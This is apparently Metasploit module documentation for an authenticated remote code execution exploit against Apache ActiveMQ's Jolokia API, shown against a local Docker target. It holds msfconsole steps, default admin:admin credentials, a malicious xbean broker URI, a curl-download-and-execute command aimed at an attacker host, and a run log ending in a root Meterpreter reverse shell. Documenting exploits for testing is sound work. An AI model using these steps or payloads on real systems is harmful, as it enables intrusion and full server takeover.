## Vulnerable Application

Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at `/api/jolokia/`. An authenticated
attacker can call the `addNetworkConnector()` MBean operation with a crafted URI containing
a `brokerConfig=xbean:http://...` parameter. ActiveMQ fetches the remote URL and instantiates
it as a Spring XML application context, which is used to execute arbitrary OS commands via
a `java.lang.ProcessBuilder` bean.

Default credentials (`admin:admin`) are accepted by many ActiveMQ installations.

Verified on docker image

## Testing

### Docker

The official ActiveMQ Docker image is the easiest way to spin up a test target:

```
docker run -d --name activemq -p 8161:8161 -p 61616:61616 apache/activemq-classic:5.18.6
```

The web console will be available at `http://127.0.0.1:8161` with default credentials
`admin:admin`. Jolokia is exposed at `http://127.0.0.1:8161/api/jolokia/`.

## Verification Steps

1. Start `msfconsole`
2. `use exploit/multi/http/apache_activemq_jolokia_rce`
3. `set RHOSTS <TARGET_IP>`
4. `set SRVHOST <ATTACKER_IP>`
5. `set target 1` (Linux)
6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
7. `exploit`

## Options

### USERNAME

Jolokia HTTP basic auth username. Defaults to `admin`

### PASSWORD

Jolokia HTTP basic auth password. Defaults to `admin`

### BROKER_NAME

ActiveMQ broker name. Auto-detected via MBean query if blank; falls back to `localhost`

## Scenarios

### Linux (Docker target)

```
resource (/home/h00die/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/home/h00die/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/home/h00die/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf > use exploit/multi/http/apache_activemq_jolokia_rce 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/apache_activemq_jolokia_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(multi/http/apache_activemq_jolokia_rce) > set rhost 1.1.1.1
rhost => 1.1.1.1
msf exploit(multi/http/apache_activemq_jolokia_rce) > show options

Module options (exploit/multi/http/apache_activemq_jolokia_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   BROKER_NAME                   no        Broker name (auto-detected if blank)
   PASSWORD     admin            yes       Jolokia password
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
   RHOSTS       1.1.1.1    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT        8161             yes       The target port (TCP)
   SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      8080             yes       The local port to listen on.
   SRVSSL       false            no        Negotiate SSL/TLS for local server connections
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI    /                yes       Base path to ActiveMQ web console
   URIPATH                       no        The URI to use for this exploit (default is random)
   USERNAME     admin            yes       Jolokia username
   VHOST                         no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, ba
                                              sh, zsh) (Accepted: none, python3.8+, shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           1.1.1.1    yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      DLVjZvKYhEO      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   1   Linux



View the full module info with the info, or info -d command.

msf exploit(multi/http/apache_activemq_jolokia_rce) > set SRVHOST 1.1.1.1
SRVHOST => 1.1.1.1
msf exploit(multi/http/apache_activemq_jolokia_rce) > run
[*] Command to run on remote host: curl -so ./FbynGwGpfpF http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./FbynGwGpfpF;./FbynGwGpfpF&
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Jolokia accessible — agent version: unknown
[*] Using URL: http://1.1.1.1:8080/ZojljCKdaPHK
[*] Could not discover broker name, using default 'localhost'
[*] Using broker name: localhost
[*] Removed existing 'NC' network connector
[*] Sending Jolokia exploit request to 1.1.1.1:8161
[*] Malicious URI: static:(vm://iWuqgbOC?brokerConfig=xbean:http://1.1.1.1:8080/ZojljCKdaPHK)
[*] GET /ZojljCKdaPHK
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[*] GET /ZojljCKdaPHK
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[+] Jolokia accepted the payload — waiting for target to fetch Spring XML...
[*] Client 172.17.0.3 requested /t70WmtC4mNeBieRpZqn09Q
[*] Sending payload to 172.17.0.3 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.17.0.3
[*] GET /ZojljCKdaPHK
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[*] GET /ZojljCKdaPHK
[+] Malicious Spring XML served — target will execute payload via ProcessBuilder
[*] Client 172.17.0.3 requested /t70WmtC4mNeBieRpZqn09Q
[*] Sending payload to 172.17.0.3 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:53906) at 2026-05-25 13:57:40 -0400
[*] Server stopped.

meterpreter > [*] Meterpreter session 2 opened (1.1.1.1:4444 -> 172.17.0.3:53918) at 2026-05-25 13:57:41 -0400

meterpreter > getuid
Server username: root
```
